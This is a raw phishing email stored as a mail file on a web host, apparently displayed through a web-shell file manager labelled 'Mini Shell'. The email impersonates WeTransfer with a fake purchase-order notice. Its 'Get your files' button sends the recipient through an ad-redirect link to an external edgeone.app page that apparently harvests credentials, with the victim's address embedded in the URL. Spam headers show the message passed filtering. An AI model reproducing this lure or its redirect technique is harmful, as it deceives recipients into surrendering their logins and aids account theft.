Current File : /home/casasdemontanacr/mail/new/1757508292.M187327P3919.rocket.alojo.es,S=9105,W=9273
Return-Path: <jorge@ais.riec.tohoku.ac.jp>
Delivered-To: casasdemontanacr@rocket.alojo.es
Received: from rocket.alojo.es
by rocket.alojo.es with LMTP
id 6J1RCsRywWhPDwAAc/8f+g
(envelope-from <jorge@ais.riec.tohoku.ac.jp>)
for <casasdemontanacr@rocket.alojo.es>; Wed, 10 Sep 2025 06:44:52 -0600
Return-path: <jorge@ais.riec.tohoku.ac.jp>
Envelope-to: webmaster@casasdemontanacr.com
Delivery-date: Wed, 10 Sep 2025 06:44:52 -0600
Received: from [64.188.95.203] (port=57711 helo=vgirohood.com)
by rocket.alojo.es with esmtp (Exim 4.98.1)
(envelope-from <jorge@ais.riec.tohoku.ac.jp>)
id 1uwKBp-000000001Cm-2rme
for webmaster@casasdemontanacr.com;
Wed, 10 Sep 2025 06:44:52 -0600
From: We Transfer<jorge@ais.riec.tohoku.ac.jp>
To: webmaster@casasdemontanacr.com
Subject: New Purchase Order Sent To webmaster@casasdemontanacr.com
Date: 10 Sep 2025 05:48:53 -0700
Message-ID: <20250910054853.F6623C513D964DEE@ais.riec.tohoku.ac.jp>
MIME-Version: 1.0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
X-Spam-Status: No, score=3.1
X-Spam-Score: 31
X-Spam-Bar: +++
X-Ham-Report: Spam detection software, running on the system "rocket.alojo.es",
has NOT identified this incoming email as spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: webmaster@casasdemontanacr.com You have just received a PURCHASE
ORDER & PRODUCT SAMPLE via WeTransfer. 4 files, 8.9 MB in total. Files will
be deleted on 10-September-2025 Get your files This is an automatic message
sent via WeTra [...]
Content analysis details: (3.1 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: edgeone.app]
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[64.188.95.203 listed in sa-trusted.bondedsender.org]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[64.188.95.203 listed in bl.score.senderscore.com]
-0.0 SPF_HELO_PASS SPF: HELO matches SPF record
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.0 T_MXG_EMAIL_FRAG URI with email in fragment
0.0 HTML_MESSAGE BODY: HTML included in message
2.0 RDNS_NONE Delivered to internal network by a host with no rDNS
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
1.0 KAM_LAZY_DOMAIN_SECURITY Sending domain does not have any
anti-forgery methods
0.0 TO_NO_BRKTS_NORDNS_HTML To: lacks brackets and no rDNS and HTML
only
X-Spam-Flag: NO
<!DOCTYPE html>
<html>
<head>
<title></title>
<SCRIPT type=3Dtext/javascript charset=3Dutf-8 src=3D"chrome-extension://e=
ppiocemhmnlbhjplcgkofciiegomcon/executors/traffic.js"=20
data-bis-config=3D'["facebook.com/","twitter.com/","youtube-nocookie.com/em=
bed/","//vk.com/","//www.vk.com/","linkedin.com/","//www.linkedin.com/","//=
instagram.com/","//www.instagram.com/","//www.google.com/recaptcha/api2/","=
//hangouts.google.com/webchat/","//www.google.com/calendar/","//www.google.=
com/maps/embed","spotify.com/","soundcloud.com/","//player.vimeo.com/","//d=
isqus.com/","//tgwidget.com/","//js.driftt.com/","friends2follow.com","/wid=
get","login","//video.bigmir.net/","blogger.com","//
smartlock.google.com/","//keep.google.com/","/web.tolst=
oycomments.com/","moz-extension://","chrome-extension://","/auth/","//analy=
tics.google.com/","adclarity.com","paddle.com/checkout","hcaptcha.com","rec=
aptcha.net","2captcha.com","accounts.google.com","www.google.com/shopping/c=
ustomerreviews","buy.tinypass.com","gstatic.com","secureir.ebaystatic.com",=
"docs.google.com","contacts.google.com","github.com","mail.google.com","cha=
t.google.com","audio.xpleer.com","keepa.com","stat
ic.xx.fbcd n.net","sa s.selleramp.com","1plus1.video","co=
nsole.googletagservices.com","//lnkd.demdex.net/","//radar.cedexis.com/","/=
/li.protechts.net/","challenges.cloudflare.com/","ogs.google.com"]' bis_use=
=3D"true"></SCRIPT>
<meta content=3D"IE=3Dedge" http-equiv=3D"X-UA-Compatible" />
<meta content=3D"MSHTML 11.00.10570.1001" name=3D"GENERATOR" />
<script bis_use=3D"true" charset=3D"utf-8" data-bis-config=3D"["faceb=
ook.com/","twitter.com/","youtube-nocookie.com/embed/&q=
uot;,"//vk.com/","//www.vk.com/","linkedin.com/&qu=
ot;,"//www.linkedin.com/","//instagram.com/","//ww=
w.instagram.com/","//www.google.com/recaptcha/api2/","/=
/hangouts.google.com/webchat/","//www.google.com/calendar/",=
"//www.google.com/maps/embed","spotify.com/","soun=
dcloud.com/","//player.vimeo.com/","//disqus.com/"=
,"//tgwidget.com/","//js.driftt.com/","friends2fol=
low.com","/widget","login","//video.bigmir.ne=
t/","blogger.com","//smartlock.google.com/","=
//keep.google.com/","/web.tolstoycomments.com/","moz-ex=
tension://","chrome-extension://","/auth/","/=
/analytics.google.com/","adclarity.com","paddle.com/che=
ckout","hcaptcha.com","recaptcha.net","2captc=
ha.com","accounts.google.com","www.google.com/shopping/=
customerreviews","buy.tinypass.com","gstatic.com",=
"secureir.ebaystatic.com","docs.google.com","conta=
cts.google.com","github.com","mail.google.com",&qu=
ot;chat.google.com","audio.xpleer.com","keepa.com"=
,"static.xx.fbcdn.net","sas.selleramp.com","1plus1=
=2Evideo","console.googletagservices.com","//lnkd.demde=
x.net/","//radar.cedexis.com/","//li.protechts.net/&quo=
t;,"challenges.cloudflare.com/","ogs.google.com"]" src=
=3D"chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/executors/traffic.j=
s" type=3D"text/javascript"></script>
</head>
<body bis_frame_id=3D"161" bis_status=3D"ok">
<table align=3D"center" border=3D"0" cellpadding=3D"0" cellspacing=3D"0" st=
yle=3D"FONT-FAMILY: "Segoe UI", sans-serif; PADDING-BOTTOM: 40px;=
PADDING-TOP: 40px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px" width=3D"100%">
<tbody>
<tr>
<td align=3D"center">
<table border=3D"0" cellpadding=3D"0" cellspacing=3D"0" style=3D"PADDING=
-BOTTOM: 40px; PADDING-TOP: 40px; PADDING-LEFT: 40px; PADDING-RIGHT: 40px; =
BACKGROUND-COLOR: rgb(255,255,255); border-radius: 8px" width=3D"600">
<tbody>
<tr>
<td align=3D"center" style=3D"FONT-SIZE: 24px; COLOR: rgb(23,24,26); =
LINE-HEIGHT: 32px">webmaster@casasdemontanacr.com<br />
<br />
<span style=3D"FONT-SIZE: 16px; COLOR: rgb(51,51,51)">You have just r=
eceived a<br />
<strong>PURCHASE ORDER & PRODUCT SAMPLE</strong> via WeTrans=
fer.</span></td>
</tr>
<tr>
<td align=3D"center" style=3D"FONT-SIZE: 14px; COLOR: rgb(145,149,153=
); PADDING-TOP: 20px">4 files, 8.9 MB in total. Files will be deleted on&nb=
sp;<strong>10-September-2025</strong></td>
</tr>
<tr>
<td align=3D"center" style=3D"PADDING-TOP: 40px"><a href=3D"https://g=
oogleads.g.doubleclick.net/pcs/click?xai=3D0Ss0nIZ4Oh4LpMdq&sig=3DiuHGz=
8c2yOBGyMKn&adurl=3Dhttps%3A%2F%2Frival-azure-qbihrhf5gr.edgeone.app#we=
bmaster@casasdemontanacr.com" rel=3D"noreferrer" style=3D"FONT-SIZE: 15px; =
COLOR: rgb(255,255,255); PADDING-BOTTOM: 14px; PADDING-TOP: 14px; PADDING-L=
EFT: 24px; DISPLAY: inline-block; PADDING-RIGHT: 24px; BACKGROUND-COLOR: rg=
b(64,159,255); border-radius: 4px; text-decoration-line: none" target=3D"_b=
lank">Get your files</a></td>
</tr>
<tr>
<td align=3D"center" style=3D"FONT-SIZE: 12px; COLOR: rgb(153,153,153=
); PADDING-TOP: 40px">This is an automatic message sent via WeTransfer. If =
you were not expecting this email, please ignore it.</td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</body>
</html>
Mini Shell